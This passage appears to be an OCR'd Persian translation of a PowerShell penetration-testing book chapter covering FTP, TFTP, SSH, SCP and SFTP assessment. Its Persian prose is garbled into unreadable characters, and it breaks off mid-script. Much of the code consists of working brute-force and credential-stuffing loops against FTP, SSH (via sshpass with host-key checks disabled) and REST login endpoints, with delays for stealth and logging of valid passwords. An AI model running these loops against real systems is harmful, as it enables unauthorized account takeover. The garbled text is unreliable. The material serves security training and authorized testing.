oo sl Wools el (gl pus b 05 oo Shacio (SSL/TLS) (el cVLasl 5IFTP g 0 LT aSisl oy 0
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SftpServer = "ftp://ftp.snowcapcyber.com"
Srequest = [System.Net.WebRequest]::Create(SftpServer)
Srequest.Method = [System.Net.
WebRequestMethods+Ftp]::ListDirectoryDetails
Srequest.EnableSs| = Strue
try {

Sresponse = Srequest.GetResponse()

Write-Host "SSL/TLS is supported."

Sresponse.Close()
} catch {

Write-Host "SSL/TLS is not supported or misconfigured." }

cez >l FTP il Sl giws gl g FTP Soyw 4 Jlasl gl gaies a8 4l A.a‘j.)‘so PowerShell
i elbdiges 0 0S8 oo o2l )3 FTP oYlasl Copde slply 3 slac s PowerShell Je NET

Listing files on the FTP server

SftpServer = "ftp://ftp.snowcapcyber.com"
SftpUsername = "ajcblyth"

SftpPassword = "Th1s1sMyOa55w9rd"
SremoteDirectory = "/home/ajcblyth/directory"
SftpWebRequest = [System.Net.
FtpWebRequest]::Create("SftpServerSremoteDirectory")
SftpWebRequest.Credentials = New-Object System.Net.
NetworkCredential(SftpUsername, SftpPassword)
SftpWebRequest.Method = [System.Net.
WebRequestMethods+Ftp]::ListDirectory

SftpResponse = SftpWebRequest.GetResponse()

DS oo Cmd 00 asiiie (5,658 plo o 1) o L g 04 co Juaio FTP jg 0w a5 057 )
Uploading a file to an FTP server
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SftpServer = "ftp://ftp.snowcapcyber.com"

SftpUsername = "ajcblyth"

SftpPassword = ".Th1s1sMyOa55w9rd"

SlocalFilePath = "C:\local\file.txt"

SremoteFilePath = "/remote/directory/file.txt"
SftpWebRequest = [System.Net.
FtpWebRequest]::Create("SftpServerSremoteFilePath")
SftpWebRequest.Credentials = New-Object System.Net.
NetworkCredential(SftpUsername, SftpPassword)
SftpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
SfileContent = Get-Content SlocalFilePath

SftpRequestStream = SftpWebRequest.GetRequestStream()
SftpRequestStream.Write(SfileContent, 0, SfileContent.Length)
SftpRequestStream.Close()

SftpResponse = SftpWebRequest.GetResponse()

S o 0shT FTP g s 30 o Laseiie 5lSe ,0 1, loee s oS5 o8

Downloading a file from an FTP server

10,58 oolawl PowerShell 51 olgs o FTP g 51 18 s5bls (sl

SftpServer = "ftp://ftp.snowcapcyber.com"
SftpUsername = "ajcblyth"

Brute-forcing authentication of an FTP connection
SftpPassword = ".Th1s1sMyOa55w9rd"
SremoteFilePath = "/remote/directory/file.txt"
SlocalFilePath = "C:\local\downloaded_file.txt"
SftpWebRequest = [System.Net.
FtpWebRequest]::Create("SftpServerSremoteFilePath")
SftpWebRequest.Credentials = New-Object System.Net.
NetworkCredential(SftpUsername, SftpPassword)
SftpWebRequest.Method = [System.Net.
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WebRequestMethods+Ftp]::DownloadFile
SftpResponse = SftpWebRequest.GetResponse()
SftpResponseStream = SftpResponse.GetResponseStream()
SfileStream = [System.lO.File]::Create(SlocalFilePath)
Sbuffer = New-Object byte[] 1024
while (Strue) {

Sread = SftpResponseStream.Read(Sbuffer, 0, Sbuffer.Length)

if (Sread -le 0) {

break

}

SfileStream.Write(Sbuffer, 0, Sread)
}
SfileStream.Close()
SftpResponseStream.Close()

$lp 1y s pddlasl PowerShell oS o ogbils s e (5,958 pls a0 FTP jg s 511 L G oS 0yl
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Strong password policies for FTP
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SftpServer = "ftp://ftp.snowcapcyber.com"

SftpUsername = "ajcblyth"

Spasswords = "password1", "password123", "ftpuserpass", "secureftp"
SwebClient = New-Object System.Net.WebClient

SfailedAttempts = 0
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foreach (Spassword in Spasswords) {
SwebClient.Credentials = New-Object System.Net.
NetworkCredential(SftpUsername, Spassword)

try {
SwebClient.UploadFile("SftpServer/test.txt", "C:\temp\test.txt")

Write-Host "Password 'Spassword' worked!"
break

} catch {
SfailedAttempts++ } }

if (SfailedAttempts -eq Spasswords.Count) {
Write-Host "No valid password found." }

s s ot S sl 5970 ey Brute FOrce wles abssl a5 aily anils asgs lalal

Firewall and access control lists for FTP
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Test-NetConnection -ComputerName ftp.snowcapcyber.com -Port 21
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PowerShell and TFTP

el Gl iBu lgie 4 Al e a5 das e &Sl ) laaslsuliS 5l (slacgexe POWerShell
5 oyleds ( glold a5 ws oo o5l o as la)] (o5 job 059 ool TFTP jg,m ol 5o

055 ey |y o sla S

' @ Securityworld.ir Luo 63l 9lid jol 6383 S iy




SECURITYWORLD

Eﬂl’ﬂ 3965 G (5l g Sl ygb b oulubl @

Identifying the TFTP server

'.\....S oolaw! u)g.s 9 |P w)éT ool L)—‘ uu)} 9 TFTP 39y ‘S:Lwl...w 6‘)“ PowerShe“ )‘
Test-NetConnection -ComputerName tftp.snowcapcyber.com -Port 69

Enumerating a TFTP server configuration

W55 52 g jle Jal glacdle aloz 51 TFTP g (00 Sy a4 Loy po Sledlbol ales oo ) ymws alewss

A...,S LS)J Zo= ‘) Codgdone

Install-Module -Name PSFTP
Get-PSFTPConfiguration -ComputerName tftp.snowcapcyber.com

Verifying access controls for TFTP
1S gy [y TRTP 59 (slojgme g (g yiws o s

Get-PSFTPFile -ComputerName tftp.snowcapcyber.com -Path "/"

re2ls> o0 85 1) (2 bl pled (iles oo oS ooliital (b (5w o 2Lk Sln herws (nl ) elEoe Lo
ail> o500 a1y Bl 0T G 5 w0 518 BB G 50 S QUL TFTP 550 S5 5l 5 ST il
oS 1>l 5 & g0 4 |, GEt-PSFTPFile ;51w g 00405 solazul

# Specify the path to the file

SfilePath = "C:\Path\To\Your\TFTPFile.txt"

Scomputer = "tftp.snowcapcyber.com"

# Check if the file exists

if (Test-Path SfilePath -PathType Leaf) {
# Read the contents of the file and print each line
Get-Content SfilePath | ForEach-Object {

Get-PSFTPFile -ComputerName Scomputer -Path S_
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}

}else {
Write-Host "File not found: SfilePath"
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PowerShell and SSH, SCP, and SFTP
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SSH server configuration assessment
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh
-V}

QS o 23k 1) aseas Sledlbl g 098 oo Juaie SSH (ssh.snowcapceyber.com) jg,w 4 jgiws oyl
lolid (o al> po ol ppo Jloms (ol sloasius b o o slas pdocaml (Lol (gl asens (il
il 00l glociy oldS” Jols slap 6

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh

-Q kex }
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh
-Q cipher}
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { ssh
-Q auth'}
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Brute-forcing authentication for SSH
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SSH server access control
ioelS oy 2 9w Gk 5l SSH g5 sun S b aly oo Lo

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock {
Get-Content /etc/ssh/sshd_config }

350 0 |y plagiin Bl ool Judod 5 40528 008 oo (2b3L 15 SSH g5 (g0, LB Slbgiome j5ims )]
Ao o &l el sl Olendas

Reviewing user access

S oy 2 Olee Byl S 5 e Sl ples o L

A
h
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { cat /
etc/ssh/sshd_config | grep AllowUsers }

Sl o )5 A cw i (40,5 Sgasme 4 bl alils dz gl o e Al IS cw s S 050

s e il
SCP server configuration assessment

el ) 7y 4y aBed SleMbl olulils ig, SCP L akal, o

Invoke-Command -ComputerName scp.snowcapcyber.com -ScriptBlock { scp
V1

Sty 9l 53 b oss e Slaty SCP LTS WS o pusy s 5 9550 oo SSH 550 s j52
el 55500 (& JEl el b)) (sl SCP

SFTP server configuration assessment

il ) 7y 4 e DleMbl ololils ig, SFTP L akal, jo

Invoke-Command -ComputerName sftp.snowcapcyber.com -ScriptBlock { sftp
-V}

Reviewing SFTP configuration
(0S5 Dyge 4 |y SFTP (guns Sy oilgs oo (e

Invoke-Command -ComputerName www.snowcapcyber.com -ScriptBlock {
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Get-Content /etc/ssh/sshd_config | grep Subsystem }

Sy50 5 Sledlbl 5 aiS o 7zl Sl canl Subsystem ggl> a5 sun, S b 11, (bals gt oyl
Sl Sl sl o5, (6l SFTP (g o ladass )y o a0 oo 81,1 o (gui ;S SFTP s 5
Security auditing tools for SSH

p.a.aS ool w‘ LngLg)'.:.o.o Lg‘;g i (S oo Lng)‘)‘.g‘ )" fg.u‘g.s‘sa Cyeod L

Invoke-Command -ComputerName YourSSHServer -ScriptBlock { ssh-audit
YourSSHServer }

Sledog g oS o oolawl SSH jg,m (53, uiel Grew bl sl sSh-audit |50 51 jgiws 0
Slo i 900, Jags 1, ol a8 aslys o el (6 mee oyl oS o (5lwesly |, Hardening

User authentication and authorization

0wl I, SSH oS cu g 51l 5l eolawl oUlg aul copol ygpm SO (sl (ciial (S iman SO 5l (cido yleie &
w.:.;:
# Invoke SSH command on the remote server using the private key
Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock {
param(SsshKey)

ssh -T -i Susing:sshKey ajcblyth@ssh.snowcapcyber.com
} -ArgumentList SsshKey

g 0lS BB e 03Kl S e eolai] SSH g, & Jlasl sl SSH oulS” cogn 5>l 5l jgiwms oyl
el ) s ) sl el sy 5o SSH IS st 31l ol (65,5 Vgm0 )lS laiein

il olitws BB 5 08 4 el cnl oS 9l 1y )5 sl gz Wb craioren Lo ool ogdle
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Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock { sudo

1}

el oo Sl (§5900 8 Shilel (9o Ol ) (o s 5l Ll
Monitoring and logging

Invoke-Command -ComputerName ssh.snowcapcyber.com -ScriptBlock {
Get-EventLog -LogName Security -Source sshd }

o g oyl S e L3k SSH 5, yo Security Log 511, SSH a4y by ye (slaslayg, jgiws (nl

S eSS iiel 0l 4y oKl 5 slolis 4 log

Modules

W > 1o 0 .ailadl axwgs PowerShell & SSH slacc bl 0,51 (6l el ases Sl g Jgsle oo
oS o0 055 0iS o s PowerShell jo 1, SSH v jiws a5 Sgama slo)l5l g la Jgske 51 (S p a0 bo
Posh-SSH

Ded g0 < cleds o lnl o

a2 oo el lads a0 opl .aiS o o2, POwerShell sl 1, SSH slacoLls a5’ el Jg5L Posh-SSH
SFTP ¢ SCP ;l ool L 1, la Ll g oS 1> j90 oy (sl yg 0 o 1) &l jgiws causS olsul 1) SSH &lud>

# Install Posh-SSH module
Install-Module -Name Posh-SSH -Force -AllowClobber
# Import the module
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Import Module Posh-SSH

# Example: Establish an SSH session

Ssession = New-SSHSession -Port 22 -ComputerName ssh.snowcapcyber.com
-Credential (Get-Credential)

# Example: Run a command on the remote server

Invoke-SSHCommand -Sessionld Ssession.Sessionld -Command "Is -I"

# Example: Close the SSH session

Remove-SSHSession -Sessionld Ssession.Sessionld

WinSCP .NET assembly

1 NET acgome 5 Ll sl (S8 6,5 Ll s e SFTP 4 SCP M S, ol 45 WinSCP

204 oolaiwl PowerShell slacos Sl jo wilgs o a5 s o a8l 55

# Example: Using WinSCP .NET Assembly for SFTP
SsessionOptions = New-Object WinSCP.SessionOptions -Property @{
Protocol = [WinSCP.Protocol]::Sftp
HostName = "ssh.snowcapcyber.com"
UserName = "ajcblyth"
Password = "MyPa55wORdL3tM31N"
}

Ssession = New-Object WinSCP.Session

try {
Ssession.Open(SsessionOptions)

Ssession.GetFiles("/remote/path/*.txt", "C:\local\path\").Check()

}
finally {

Ssession.Dispose()

}

https://winscp.net/eng/docs/library
SSH-Sessions

Sgd oo 8l oS o il o
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# Install SSH-Sessions module

Install-Module -Name SSH-Sessions -Force -AllowClobber

# Import the module

Import-Module SSH-Sessions

# Example: Establish a persistent SSH session

Ssession = New-SshSession -ComputerName ssh.snowcapcyber.com
-Credential (Get-Credential)

# Example: Run a command on the remote server
Invoke-SshCommand -Sessionld Ssession.Sessionld -Command "ls -I"
# Example: Close the persistent SSH session

Remove-SshSession -Sessionld Ssession.Sessionld

Chilkat PowerShell SSH/SFTP module

slollee sas o Sl Leis a0 a5 s e a3l,l SFTP 4 SSH I, PowerShell Jg5k. <, Chilkat

# Example: Using Chilkat SSH/SFTP Module

Sssh = New-Object Chilkat.Ssh

Ssuccess = Sssh.Connect("ssh.snowcapcyber.com")

if (Ssuccess -eq Strue) {
Sssh.AuthenticatePw("ajcblyth", "MyPa55wORdL3tM31N")
ScommandResult = Sssh.QuickCmd("Is -1")
Write-Host ScommandResult

}

Sssh.Disconnect()

https://www.chilkatsoft.com/refdoc/cssftpref.html

Fise cblools 5 gom;y sbwl asla Jo5ke ol 8,50 o Sledlo] o) 6l g Ao a5 ail anils ob
Oliebl oz slacy Sl ;0 SSH sla Jg3le 51 solawl pllin cpl » ogdle 0sS dnzl o conls

DS oo Bl 0 |y cunlin j9mme g 0SS (Suel SlBogals (g 5l aS oS Jeol>
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PowerShell ;I ooliiwl L SFTP g SCP SSH (sla g 1 (515  siuial (5 juoe plmil 51 IS (sled SO Loaly ]
9 Cugd Sl o be; (o yiwd J3ES Gam s0iS laob)l el ool S8 ole ams e 4l

.é; oolaw! 599 o‘) db)jf*’ SS9y u.u.o.@‘ LQLQG”’)):’ ﬁl.‘?u‘ 9 ul.C}*Lb‘

ol g plolid 4 plate sla 2l )l 5 s (55978 98 (Sl Candy S L (6l (el Slas e
Slp axedy)l olpl 4 1) ol PowerShell spd gods oS 0 SoS Il sl iy
o3 SSH 1 (e slagmg s Sl 9550 55 (los (i 5951 Cs & 5 (ol il (55l (S35
Goym $38 5 (DS sl Jordljgiws 5l g ams plosl canlin joe L], sl sbo b)) dion 0iS o

DS

Summary

SFTP 5 TFTP (FTP (ol g s 5,50 55 Copel o 00azmey 5l az (onsy 2 42 0955 ysbo s Luad oy
Giless 55 a5 Gk BB o)l g PowerShell i oolical Lo s,y GlS abais .l aislsy

PowerShell ks 558 (slacelld Lo  Jad sl o ;0 sl atods | Jlns (5 y970 09> 0l (sloy Sauzen
3 el Gl S 4 Sasw, Glp aels Jo o, S olsie 4 1) T sl Gk g ae,S s |,
I3 ioles 4 ol Jlasl slalae

FTP asle aslts wYlasl g4, Brute-Forcing !> sl |, PowerShell ;1 oolicul o9 cam Juad ;o
28,5 wules ol SSH 4
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Brute Forcing in PowerShell - w25 fas

Sl G yo lalesle a5 ol 51 S udlgd cwyp |y (siiel s yo Brute Forcing Lo ¢ Juad oy o
Jad cpl 05d oo pie jlww Brute Force odls sla Souzes I 0 i 095 Jlzws laxe Co gl
G9r2 =i Olssas Brute Forcecdles ael o (SIS GllaxMo g b jlnl (g5slgaie leo o 1) (6 0
S35 e 5T el sla ol

s blas olulid j0 1) o Caedl 5 0310 oo SiSS l Gl a4 bo ¢ dos 51,216 )] cogpie Sloo
oolaiwl b lad o Sgild slaasly 5 IS Olasde ol 1 ogdle 0uiS oo (pg, Cugd >l (Gl pundlSa o
@S 1) b Sozy a5 jehailen oS o cwyp 1) Suiel s aolie sl Brute Force o>
« Brute Force ;I ol wllas ol cosal 550 j0 1) goieds)] sloiin sl laasn (S o
S oo Coghs Slme (i plp j0 cliblne gl | Loyl (GUlg g Wyl o0 cans

SOAP 4 REST (slo s gpw pizen g SSH g FTP sile aSiis sl g, Brute Force o Jas
oS oo oolawl PowerShell jo 55 5,15 sladiges 51 aloas GlocSaSS oyols lid gl 0510 5 oo

e Brute forcing, in general, using PowerShell
e Brute forcing FTP using PowerShell

e Brute forcing SSH using PowerShell

e Brute forcing web services using PowerShell
e Brute forcing a hash

Brute forcing, in general, using PowerShell

ol g Solatunw joue loye, b og) 0 )5 a0 el o Sb3,l o a5 el  SusS Brute Forcing

gutro j9ue o, (8L U (Sew sruS 5 den 05 el b1 ol Sledl Lo b (6,135 50, slaadS
Sl baal p b baSls dopivw lawgi ool (g5lwosly cuwl leladl SL5l jo yhgy ol &5 was
5 AuS o ooliiwl Brute Force 5l lacars 5 o pdocam! olobs lp cunl laaste 04 oo plxl

QS Coals 0680l (6 ymbe Dlauags g jlxe el Gla s s plp 01 03 £l B oS o SeS aylo sl 4
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S oo oolitul olsS Slaj o3l o5 sawie SLaS 5 e ialesl gl Slewlre 403 5l g 05503
e 0wl cwlel GE gile 0,33 b JWH e 5o beols cocel Laa> 10 a5 (6185 50, slaal S
(Sen (S GLS 5 pled Sl Giolejl b lexloe o a5 )ls 118 55 Brute Force o>
o ,95d) 08 wle elgs 4 Brute Force aos> G caddge .l ool (6,005 50, aledlbl oLl 5w,
& 18 50, plp ,o Brute Force jloolanl b ol byl oyle (S 0ldS Saors 5 Job 5 )l08 5w,
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A e
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el | o ol a8 sl laasine sl ao)l oBwl @ ) o Gaaty slapiues b ol plésl 5 cunys
< o Brute Force sl PowerShell sl eoliiwl ogou 5l (S (sles G bl 1o 0iS o Jros cdins o
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Automated scripting

slaeaS 5 5l odl ol b as oS ol slaces Sl b aas o ojl> sl ylaasie 4 PowerShell

IS lr Olee b 2y o Sul S o0 09> 1) Coga sl slapSe b jgee sloge, Al

12,5 o5l ol lajlne Gulul p SLaS 5 0dg b e Slage) Sload iy i o Sl e S G2k
Spasswords = Get-Content "passwords.txt"

Susername = "root"
Starget = "snowcapcyber.com"

)
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foreach (Spassword in Spasswords) {

Scredentials = New-Object PSCredential -ArgumentList (Susername,
(ConvertTo-SecureString -AsPlainText Spassword -Force))
Brute forcing, in general, using PowerShell 141

# Attempt login using Scredentials against Starget

# Use Test-Credential cmdlet to validate

# Perform additional actions based on the response

Password list attacks
S5 3oy Camd o ¢ Il jgue slaje, 5l ted (g9l b SO 5l ailys L il o PowerShell
b 0 pdy O)go plm 4 ol Coidge 99,9 45T Sloj b egd oo SIS joue oy o b on Sl s bl |,
g pled Cewd
Dictionary attacks
65 S os e3gis so 03l yee soje, 13 Ygone a5 Sl Le 5 SLolS S 5 L wlsi oo POwerShell
G iSoo by aisS oolaiwl paes o yiws j0 SlelS slacis d 5l sl (Ko Sl laasie aas plxil |,
S slml ol B b ceslite | o8l
Credential stuffing
U3 45 550 3o, 5 6,5 oL slacas 5l eslitl gl 3 L il oo PowerShell slacos Sl
ool a4 cpl oS JSoes |, Credential Stuffing wdles el suss Slobis calisee gl g
2 S Sl AS o dozme soliiwl oyl paix o Credential 51 o)), )l5 a5 oS o SeS (59150
1544 oolanwl Credential Stuffing sl 51, wlgs oo

Scredentials = Get-Content "credentials.txt" | ConvertTo-SecureString

Starget = "snowcapcyber.com"

foreach (Scredential in Scredentials) {
# Attempt login using Scredential against Starget
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# Perform additional actions based on the response

Rate limiting and stealth

o B ol asbe (olols 1 Sl slp 1) ola S aslg o PowerShell slacos Sl
(BUB s bawgd 00l (55lwesly Rate LiMiting slapeslSe 51 51538 (6l ot 4 35,9 (sl oD

Brute forcing FTP using PowerShell
Sl e 305 9 6 pb ke glocS 5 Siletuw (W Jols FTP 5, S, Brute Force
&lg oo .NET Framework slesl 5 cuwg oo Sl slaco bl L PowerShell .coul sl pe o yiws
0955 3,90 ;0 (A8 slosnl)y 5 0 bl el cad s o anT Bl g3l ) Seg3 sl (ganes jad 5l

Ll 00 81,1 el Ces 599, S5 50 FTP 45,0 (54, ,» Brute Force 1, PowerShell ;l oslac!

Setting up the environment

0l J)....S Ja..om g_i, 3 J“"L")T ﬁL?u‘ )‘ uL&_&-Q.b | 9 e )50 Wb ¢ ?M | UA.\.’Lo)] 4\4; ® PL?U‘ )‘ J.J
LJ""L"""IJ 99,9 c)’l.?‘ LJ 45...;‘ 9 ‘Q)% ‘u,o)ﬂ sosle cFTP 99 A Jog.))-c uLC)Ua‘ ‘U"‘ 5 09)19 el 4o )L..w.a

0SSl @e B b amd e |,

Creating credential lists

2ol 51 lg oo 1y w08 opl oS sole] Brute Force alos sl 1) jaue 50, 5 52,5 slopl 5l cncd
s bl 5 b cond (56 jgee o, Sl slaolKol ontarislids b5 i shiel dlax 5,8 Cily )
gty sl A ) sl L 5l acend Cpl wms oo el Lass 4 PowerShell .wlsus olss i,
51 i aalal o 0uiS o (65 L iite SOy (gom LBl sl 1y BB G wlgie PoOwerShell s
oS 50 (SH5,L 1) Hoee 305 5 605 slapl

Susernames = Get-Content "usernames.txt"
Spasswords = Get-Content "passwords.txt"
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FTP login attempt script

S S bS5 pled jo U v oo ol 9,040 sladdl> PowerShell ey S Sl glac il
@ s 49959 Sl W L0 1 FTP 59,0 G joue sloge, 9 62,15 lapli 5 (cned 5 05 50 aigs

S (50 H9 0 (oD 7 D Hgeo

SftpServer = "ftp.snowcapcyber.com"
SftpPort = 21
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
Scredentials = New-Object PSCredential -ArgumentList
(Susername, (ConvertTo-SecureString -AsPlainText Spassword -Force))
# Attempt FTP login
SftpRequest = [System.Net.
FtpWebRequest]::Create("ftp://S{ftpServer}:S{ftpPort}")
SftpRequest.Credentials = Scredentials
SftpRequest.Method = [System.Net.
WebRequestMethods+Ftp]::ListDirectory
try {
SftpResponse = SftpRequest.GetResponse()
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login
}
catch [System.Net.WebException] {
# Handle FTP server response (e.g., incorrect credentials)
SerrorMessage = S_.Exception.Message
Write-Host "Login failed: Susername:Spassword - SerrorMessage"

O 5l sl e Sl Hee ey 9 )5 pL Sl eSS e b aS e o S Sl ()l
3959 S oo Cuppde |y 59 sl Lo 5 005 o eolawl FTP Jlasl G sl! sl FtpWebRequest
abgiye slh> laply 5 @35l Gla i a5 b )5 S oo ST (gam DLl el cnibye
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Handling FTP server responses

QS ewds Brute Force oM p» asis s sl | lagwl ol 0silys o PowerShell glacos Sl
oads HLis O L ¥ as Jb o il Coddge oaims lid 0gd oo £9,0 T L aS Zuly oS SO Jlo lgie 4

try {
SftpResponse = SftpRequest.GetResponse()
SresponseCode = [int]SftpResponse.StatusCode

if (SresponseCode -ge 200 -and SresponseCode -It 300) {
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login
} else {
Write-Host "Login failed: Susername:Spassword - Unexpected
response code: SresponseCode"

}

}
catch [System.Net.WebException] {

# Handle expected errors (e.g., incorrect credentials)
SerrorMessage = S_.Exception.Message
Write-Host "Login failed: Susername:Spassword - SerrorMessage"

Rate limiting and stealth

s 423939 Sl I ot 3B FTP 550 Loy (8 Sgine Jlas (2015 (oLl Sl 6 S sl (sl
23,9] Caws 4y Start-Sleep ;i oolaiwl b olgs co 1y ool s 150 a5 jo

SdelaySeconds = 2
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
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# This is the code section that tries
# to connect and authenticate a user.
Start-Sleep -Seconds SdelaySeconds

Logging and reporting
2l o PowerShell slaco Sl .osS s5le ool |, Logging Brute Force > mls oud sl

SlogFile = "bruteforce_log.txt"
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# This is the code section that tries
# to connect and authenticate a user.
if (SresponseCode -ge 200 -and SresponseCode -It 300) {

Write-Output "$((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Successful login: Susername:Spassword" | Out-File
-Append -FilePath SlogFile

} else {

Write-Output "S((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Failed login: Susername:Spassword - Response code:
SresponseCode" | Out-File -Append -FilePath SlogFile

}

}

2 s pdscawl b gl luls g Brute Force ales mls Judou g 4555 sl 2l o LOG L ol
2w s FTP 0 ol
Brute forcing SSH using PowerShell

15 05 5 6 pb il slacaS 5 Siladiuaws (W Juls SSH 5,0 G Brute Force
NET plesl 3 cawg oo Sl slaclls L PowerShell .coul jlre,d cwjyiws slp

50 8l sl s 0 a1 cpl g5le S0g3 (gl (gaied 08 LIl Wil o Framework
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Setting up the environment
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Creating credential lists

alio 5l Olgs oo 1) o 08 ol oS eolel Brute Force aus> sl 1) joue 505 5 60,5 slapl 5 oo
ool 5 b oas 5B jgue s, o0l Gloolll wasaslis o5 i sl Credential ale> 5l il
Sl 4 B sle LB lecadd ol aes oo Sl L 4 PowerShell 55 odg !, slagS!

Susernames = Get-Content "usernames.txt"
Spasswords = Get-Content "passwords.txt"

SSH login attempt script

Credential ;I colaxw! b 1, SSH pieccws 4 89,9 sla o b ams oo |y el ol bads 40 5 s Sl
o3l>l g5 ,09 sledil> 4 PowerShell g oo Sl slaccbld aes sl S0g5 jsbas caboslal

g ST Sew OloS 5 pled jo U aes oo

SsshServer = "ssh.snowcapcyber.com"
SsshPort = 22
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# Construct the SSH command
SsshCommand = "sshpass -p 'Spassword' ssh -o
StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p SsshPort
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Susername@SsshServer"

try {
# Execute the SSH command

Invoke-Expression -Command SsshCommand
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login

}
catch {

# Handle SSH server response (e.g., incorrect credentials)
Write-Host "Login failed: Susername:Spassword - S _"

sl SSNPASS 5w 51055 pins 315 1318 50y 5 S5 U5l (S5 2 b AT e r S Sl
39,9 S oo oolatwl SSH j5iws sly>! 51, Invoke-Expression ;I 3 SSH jgiws 4 j5ue 50, Jlo)|
Lo abgye gllos slaply 5 335el lasds o5 Jl> 0 S o 5T ) any Slaladl 5ol codsn
g 50

Handling SSH server responses

s 43 9555 GBI CenSi Uy Coibge saimoylis 4 was e feuly silize slaply L SSH slo g s
eis Brute Force o3 ;o aml s sl 1) lagwls opl 0y o PowerShell slaco, Sl el
WS

try {
# Execute the SSH command

Invoke-Expression -Command SsshCommand
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login

}
catch {
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# Handle SSH server response (e.g., incorrect credentials)
SerrorMessage = S_.Exception.Message
Write-Host "Login failed: Susername:Spassword - SerrorMessage"

Rate limiting and stealth

s 4 89,9 SOI 2 ;o3 SSH gm0 banags (s Sgane jlas 2l 5 pluli 51 (6,5 sl (51
13,9] Caws 4y Start-Sleep ;leolatul b olgs co 1y (ol s 150 a5 jo |,

SdelaySeconds = 2
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# This is the code section that tries
# to connect and authenticate a user.
Start-Sleep -Seconds SdelaySeconds

Logging and reporting
2lg oo PowerShell slacs Sl .asS 55l ooly |, logging Brute Force aa> mls eud lp
S S gam Jelod g i sl ) L e Dledbl 368 52 5 (3390 Sla O (3350 sl S

SlogFile = "bruteforce_log.txt"
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# ... (previous code)
if (5?) {

Write-Output "$((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Successful login: Susername:Spassword" | Out-File
-Append -FilePath SlogFile

} else {
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Write-Output "S((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Failed login: Susername:Spassword - S_" | Out-File
-Append -FilePath SlogFile

}

2 s pdscawl b gl Lluls g Brute Force ales mls Judov g 4555 sl 2l o LOG L6 0!

il oo b SSH 5 il

Brute forcing web services using PowerShell

Sleel alizee slacaS 5 Solotuaw (oW Jolis (REST L SOAP 4> (g, w9 S5 Brute Force
slesaly cpl jo il kel cas o o anl ol ok, 803 sl (gaiedd;yl Il Wlgs co Lo g e
Al olbacs idg «oy g Brute Force iy |, PowerShell ;i solitnl 5o Lo «3.80
255 ey (o)

Understanding the web service

Sl abls 093 L5 8590 gy g 5l (g, S p0 a5 Cal i lonm (el alejl e g9,5 51 S
L L5,Lw;| 9 Jome 50 Cugd ] lapualSe S0 «(REST L SOAP) oy <oy go ololis Joli oyl
ol API sli!

Setting up the environment
Dg on plail ol S aore SO o Gl g oy o il ui%Loﬂ Sy zuye 9o a5 aiS Jol> Lol
L cuwl o« Rate Limiting _iwelas 4555 ,0 9 Cogn 51>l sla g, « SLL bl S ps glp copl pogdle

Installing required modules

A Al LS oolw ‘) <9 LS‘LQU“'.’.EJ“’ l.» JAL’J "\‘"9"(50 FLG GJLQJS)LA 6‘)‘0 PowerShell
L Invoke-RestMethod wile sla il o @ 5L sl (Sew g3 iulesl slajls

awsl ansls InvokeWebRequest

@ Securityworld.ir Luo 63l 9lid jol 6383 S iy



ES.PJ 3983 s 5y i yoly b ol @

SECURITYWORLD

Install-Module -Name PowerShellGet -Force -AllowClobber -Scope
CurrentUser

Install-Module -Name PSReadline -Force -AllowClobber -Scope
CurrentUser

Creating credential lists
Cg bawgi a5 Cuga il g, 4 dus .0S oolel Brute Force ale> 1y 1) s Credential ;| .

onl sl baslas b yeee 50, 9 5,5 slopl 5l oS 5 Jolis aisles oo o] (ol g o o0liiw] s g yun
:slgse PowerShell sl oslacul b o, sla b6 5l 1) s

Susernames = Get-Content "usernames.txt"
Spasswords = Get-Content "passwords.txt"

Web service authentication

e Gdal Cuga ol anl b 4 Sa) slp el

Basic authentication (REST)

foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
Sbase64Auth = [Convert]::ToBase64String([Text.
Encoding]::ASCIl.GetBytes(("S{username}:S{password}")))
Sheaders = @{ Authorization = "Basic Sbase64Auth" }
Sresponse = Invoke-RestMethod -Uri "https://api.example.com/
resource" -Method Get -Headers Sheaders

# Check for successful login
if (Sresponse.Status -eq "success") {
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login
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}else {
Write-Host "Login failed: Susername:Spassword"

}

Token-based authentication (REST )

foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# Obtain the token using the credentials
Stoken = Get-AuthToken -Username Susername -Password Spassword

# Include the token in the request header
Sheaders = @{ Authorization = "Bearer Stoken" }

# Perform the REST request
Sresponse = Invoke-RestMethod -Uri "https://api.snowcapcyber.
com/resource" -Method Get -Headers Sheaders

# Check for successful login
if (Sresponse.Status -eq "success") {

Write-Host "Login successful: Susername:Spassword"

# Perform additional actions based on a successful login
} else {

Write-Host "Login failed: Susername:Spassword"

}

Handling SOAP authentication

Lgl.@d.».w.: ML’ ‘a)y S| uio.c ».S..‘.‘S‘So oolaw! XML » w “"‘"5’“ )|).‘>| )| g,J.c‘ SOAP 6&&5).“:
13 3l el Credential L |, SOAP
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foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# Construct the SOAP envelope with credentials
